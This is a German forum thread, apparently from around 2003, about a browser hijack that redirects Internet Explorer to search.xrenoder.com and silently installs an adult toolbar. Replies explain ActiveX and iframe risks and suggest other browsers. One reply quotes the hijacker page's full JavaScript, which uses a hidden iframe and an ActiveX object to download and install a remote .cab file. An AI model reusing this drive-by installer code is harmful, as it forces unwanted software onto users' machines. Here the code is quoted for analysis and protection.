Eddie: Wer kennt diese Seite und warum lande ich da?

Hi,

kennt ihr folgende Seite:
(davor JS und ActiveX auszuschalten ist eine gute Idee).

http://search.xrenoder.com/

Ich lande dort IMMER, wenn mein IE eine Seite nicht findet.
Aber als Widergutmachung wird dann die XXX-Toolbar installiert (braucht man unbedingt als Mann), noch ein bisschen andere Software und achja, eine neue Startseite eingerichtet.

Was hat es damit auf sich? Wieso lande ich da? Sollte ich nicht normalerweise beim Microsoft-Suchdienst MSN landen?

SEHR genervt - Eddie

  1. Hi,

    http://search.xrenoder.com/
    Ich lande dort IMMER, wenn mein IE eine Seite nicht findet.
    Aber als Widergutmachung wird dann die XXX-Toolbar installiert (braucht man unbedingt als Mann), noch ein bisschen andere Software und achja, eine neue Startseite eingerichtet.

    Wieso lande ich da?

    Wahrscheinlich hast Du die Seite einmal mit einem Browser besucht, der keinerlei Sicherheit bietet gegenüber Attacken, mit denen die Startseite, die Suchseite oder sonstiges verändert werden können, mit dem automatisch irgendwelche Toolbars installiert werden kann oder sonstige Software oder der ActiveX in Webseiten zur Verfügung stellt.
    Sprich: mit dem Sicherheitsloch Internet Explorer.

    Sollte ich nicht normalerweise beim Microsoft-Suchdienst MSN landen?

    Das hängt von der Konfiguration Deines Browsers ab.

    Ach ja, hier noch ein paar Surftipps: http://www.mozilla.org/, http://www.mozilla.org/projects/firebird/, http://www.opera.com/
    cu,
    Andreas

    --
    Der Optimist: Das Glas  ist halbvoll.  - Der Pessimist: Das Glas ist halbleer. - Der Ingenieur: Das Glas ist doppelt so groß wie nötig.
    http://mud-guard.de/? http://www.andreas-waechter.de/ http://www.helpers.de/
    1. http://www.mozilla.org/ empfehle ich hier auch wärmstens
      Von IE kann ich nur abraten.
      Mit dem ahb ich nur Probs

  2. Hallo, Eddie,

    kennt ihr folgende Seite:
    (davor JS und ActiveX auszuschalten ist eine gute Idee).
    http://search.xrenoder.com/
    Ich lande dort IMMER, wenn mein IE eine Seite nicht findet.

    Kenne ich nicht und mache ich auch nicht auf, aber gefakte Suchmaschinen gibt es massenhaft ...

    Aber als Widergutmachung wird dann die XXX-Toolbar installiert

    das wird durch das unten wiedergegebene Skript bewirkt, das eine .cab-Datei aufruft (http://www.xxxtoolbar.com/ist/softwares/v3.0/0006.cab). Was die dann bewirkt würde mich auch mal interessieren. Daß der Internet Explorer so was zuläßt, gehört sicherlich zu den schwerwiegendsten Argumenten gegen seine Verwendung.

    (braucht man unbedingt als Mann), noch ein bisschen andere
    Software und achja, eine neue Startseite eingerichtet.

    das mit dem Einstellen der Startseite habe ich auch noch nicht so genau kapiert. Normalerweise geht das nur nach Bestätigung durch den Nutzer. Wenn man aber mit lauter Popups , prompts oder alerts bombardierd wird, klickt man leicht versehentlich auf ja. Möglicherweise gibt es aber auch irgendwelche  fiesen ActiveX-Tricks.

    Was hat es damit auf sich? Wieso lande ich da? Sollte ich nicht normalerweise beim Microsoft-Suchdienst MSN landen?

    Defaultmäßig ja. Den Suchdienst kann man wohl in der Registry einstellen - und diese Änderung kann möglicherweise auch mit ActiveX durchgeführt werden - sowie in den Internet-Explorer-Voreinstellungen deaktivieren.

    Grüße,

    Sebastian

    ---------- schnipp ----------
    <!--
     document.write('<iframe id="downloads_manager" style="position:absolute; visibility:hidden;"></iframe>');
     function retryit(){
     if(retry>0) {
       alert("Download ABORTED -- You must click YES");
       start_download();
       retry--;
       }
     }

    function start_download() {
     var bname=navigator.appName;
     var bver=parseInt(navigator.appVersion);
            if ( navigator.platform && navigator.platform != 'Win32' ) { alert("Sorry, your browser is not WIN32 Compatible"); }
            if (bname == 'Microsoft Internet Explorer' && bver >= 2) {
       downloads_manager.document.close();
       downloads_manager.document.write('<html><body>');
       downloads_manager.document.write('<OBJECT id="bar_object" width=1 height=1 classid="CLSID:018B7EC3-EECA-11D3-8E71-0000E82C6C0D"');
       downloads_manager.document.write('codebase="http://www.xxxtoolbar.com/ist/softwares/v3.0/0006.cab" onerror="parent.retryit();">');
                            downloads_manager.document.write('<PARAM name="account_id" value="129193">');
                            downloads_manager.document.write('<PARAM name="download_key" value="d24f4286f35d9daff97aa3557326b11d">');
                            downloads_manager.document.write('<PARAM name="download_lock" value="1055103905">')
       downloads_manager.document.write('</OBJECT>');
       downloads_manager.document.write('</body></html>');
          window.open("http://install.xxxtoolbar.com/ist/scripts/log_downloads.php?auto_close=1&software_id=0006&account_id=129193&payable=1&country=DE&referer=http%3A%2F%2Fwww.cerials.net%2Flista.php%3Fs%3Df%26startb%3D2100","_blank","top=10000, left=100000");
             }
    }

    // -->

    <!--
     var currentDate = new Date();
     var adRecurrence = "weekly";
     var adId = "a1051174500";
     var adExpiration = 0;
     var retry=0;
     var obj=null;

    currentDate.setTime(currentDate.getTime() + (7*24*60*60*1000));
      adExpiration = currentDate.toGMTString();

    function SetCookie(sName, sValue, sExpire){
      var expireCode = "";
      if (sExpire) { expireCode =  "expires=" + sExpire; + ";" }
      document.cookie = sName + "=" + escape(sValue) + ";" + expireCode
     }

    function GetCookie(sName) {
      var aCookie = document.cookie.split("; ");
      for (var i=0; i < aCookie.length; i++) {
       var aCrumb = aCookie[i].split("=");
       if (sName == aCrumb[0]) { return unescape(aCrumb[1]); }
      }
      return null;
     }

    function upop() {
        var url = "http://www.xxxtoolbar.com/ist/scripts/downloads_manager.php?pevent_type=onload&retry=0&ref=&recurrence=weekly&account_id=129193&adid=a1051174500&event_type=onload";
      var win='toolbar=1,location=1,directories=0,menubar=0,scrollbars=1,resizable=1,top=110,left=2000,width=600,height=500'
      window.open(url,'pop',win);
      if(obj)
       obj();
     }

    if (!GetCookie(adId)) {
      SetCookie(adId,"1", adExpiration);

    setTimeout("start_download();",1000);
       }
    //-->

    1. Moin!

      Jetzt sagt nur

      "Programme und Dateien in einem IFRAME starten" ist bei Euch noch aktiviert!

      Hehe... das abzustellen hilft gegen die meisten Vieren und Würmer, die per e-Mail (-> Outlook / O. Express) kommen und eben auch gegen solche netten Mitmenschen.

      MFFG (Mit freundlich- friedfertigem Grinsen)

      fastix®

      --
      Meinereinerselbst ist auf der Suche nach Aufträgen
      1. Hallo, fastix®,

        Jetzt sagt nur "Programme und Dateien in einem IFRAME starten" ist bei Euch noch aktiviert!

        Hehe... das abzustellen hilft gegen die meisten Vieren und Würmer, die per e-Mail (-> Outlook / O. Express) kommen und eben auch gegen solche netten Mitmenschen.

        Ich wußte gar nicht, daß man das abstellen kann (kein smiley) - gleich mal in den Voreinstellungen gucken ...

        Hier gibt es noch interessante Infos zum Thema xxxtoolbar:
        http://groups.google.de/groups?th=6a46fbe94259c6b3

        Grüße,

        Sebastian

        1. Moin!

          Ich wußte gar nicht, daß man das abstellen kann (kein smiley) - gleich mal in den Voreinstellungen gucken ...

          Typisch M$, daß der Unsinn  angeschaltet ist.

          Optionen -> Sicherheit -> am besten in allen Sicherheitsstufen. Den Quatsch braucht kein Mensch, es sei denn er will Dir böses.

          Noch besser ist freilich auf den IE zu verzichten. Interessant ist es aber das abzustellen und dann auch in allen Outlook- Versionen Sicherheit zu gewinnen. Alle Viren und Würmer, die bei mit aufschlugen haben es bis jetzt dem Quelkltext nach über "interessante" Anhänge oder den iframe versucht.

          Ich jedenfalls lache mich immer schon tot, wenn wieder mal ein Virus kommt, der schon in der Nachrichtenvorschau aktiv wird.

          fastix®

          --
          Meinereinerselbst ist auf der Suche nach Aufträgen
          1. Hi!

            Ich jedenfalls lache mich immer schon tot, wenn wieder mal ein Virus kommt, der schon in der Nachrichtenvorschau aktiv wird.

            Ich lache mich immer tot, wenn ich höre, dass es Menschen gibt, die Outlook verwenden ;)

            JvM

            1. Moin!

              Ich jedenfalls lache mich immer schon tot, wenn wieder mal ein Virus kommt, der schon in der Nachrichtenvorschau aktiv wird.
              Ich lache mich immer tot, wenn ich höre, dass es Menschen gibt, die Outlook verwenden ;)

              Du hast es gut: Du hast mehr zu lachen als ich! :)

              Im Ernst: Ohne die ganzen Sicherheitsprobleme und eine lange Liste weiterer Wehwehchen wäre Outlook (nicht Express) genial. Damit lässt sich eine Menge Bürokram wunderbar verwalten.

              Mich irritiert allerdings doch etwas, daß die wichtige und sehr wirksame Möglichkeit, das Ausführen von Dateien und Programmen in einem iframe im IE (und damit in Outlook) abzuschalten, nicht publiziert wird. Weiss eigentlich überhaupt jemand eine sinnvolle Einsatzmöglichkeit für "das Ausführen von Dateien und Programmen in einem iframe"?

              MFFG (Mit freundlich- friedfertigem Grinsen)

              fastix®

              --
              Meinereinerselbst ist auf der Suche nach Aufträgen
              1. Hallo fastix®

                Im Ernst: Ohne die ganzen Sicherheitsprobleme und eine lange Liste weiterer Wehwehchen wäre Outlook (nicht Express) genial. Damit lässt sich eine Menge Bürokram wunderbar verwalten.

                Na, dann sei mal froh, dass du nicht in Newsgroups posten muss. Was ich da alles über Outlook-Fehler gehört habe, lässt's mir jetzt noch eisklat den Rücken runterlaufen.

                Mich irritiert allerdings doch etwas, daß die wichtige und sehr wirksame Möglichkeit, das Ausführen von Dateien und Programmen in einem iframe im IE (und damit in Outlook) abzuschalten, nicht publiziert wird. Weiss eigentlich überhaupt jemand eine sinnvolle Einsatzmöglichkeit für "das Ausführen von Dateien und Programmen in einem iframe"?

                Microsoft un Sicherheit? Also solche ANsprüche hab ich ja noch nie erlebt ;-)

                Schöne Grüße

                Johannes

                --
                ss:| zu:) ls:[ fo:) de:] va:) ch:? sh:( n4:& rl:( br:< js:| ie:{ fl:( mo:}
                1. Moin!

                  Na, dann sei mal froh, dass du nicht in Newsgroups posten muss. Was ich da alles über Outlook-Fehler gehört habe, lässt's mir jetzt noch eisklat den Rücken runterlaufen.

                  Da nehm ich den Mozilla :) Für News ist Outlook schlicht als nicht benutzbar einzustufen.

                  Microsoft un Sicherheit? Also solche ANsprüche hab ich ja noch nie erlebt ;-)

                  Moment mal: Microsoft und Sicherheit ist ein sehr interessantes Thema. Wie war das gleich: wenn man alles selber einrichten muss lernt man es wenigstens :)

                  Und so lange ich es verhindern kann wird auch niemand außer mir in meinem familiären Umfeld Outlook oder den IE benutzen. Die wohnen zu verstreut, als das ich da mal eben vorbeikommen kann um Schäden zu richten (s.o.)

                  MFFG (Mit freundlich- friedfertigem Grinsen)

                  fastix®

                  --
                  Meinereinerselbst ist auf der Suche nach Aufträgen
  3. Tach auch,

    kennt ihr folgende Seite:

    Nein, bis jetzt nicht. Und furchtbar grosses Verlangen sie kennenzulernen habe ich auch nicht.

    (davor JS und ActiveX auszuschalten ist eine gute Idee).

    Oder einen Browser benutzen bei dem solche Sachen gar nicht erst funktionieren.

    Ich lande dort IMMER, wenn mein IE eine Seite nicht findet.

    Soweit ich sehen kann hat Dir da jemand einen "Script-Virus" untergejubelt:

    http://www.google.com/search?q=xrenoder gibt so einige interessante links was dahinter steckt.

    Aber als Widergutmachung wird dann die XXX-Toolbar installiert (braucht man unbedingt als Mann), noch ein bisschen andere Software und achja, eine neue Startseite eingerichtet.

    Ja, das steht in einigen der links die Du mit obiger Suche findest.

    Was hat es damit auf sich? Wieso lande ich da? Sollte ich nicht normalerweise beim Microsoft-Suchdienst MSN landen?

    Nicht wenn Dein Hostfile ueberschrieben wurde. Ein paar Tips unter anderem in diesem Beitrag: http://www.webmasterworld.com/forum10/1464.htm

    Viel Spass noch bei den Aufraeumarbeiten...

    Gruss,
    Armin

    --
    Location: Swindon/Wiltshire/England/UK/Europe/Northern Hemisphere/Planet Earth/Solar System/Milky Way Galaxy/Universe
    http://www.ministryofpropaganda.co.uk/
  4. Hi, Eddie,

    lies auch mal das ...

    http://www.spywareinfo.com/articles/hijacked/

    Grüße,

    Sebastian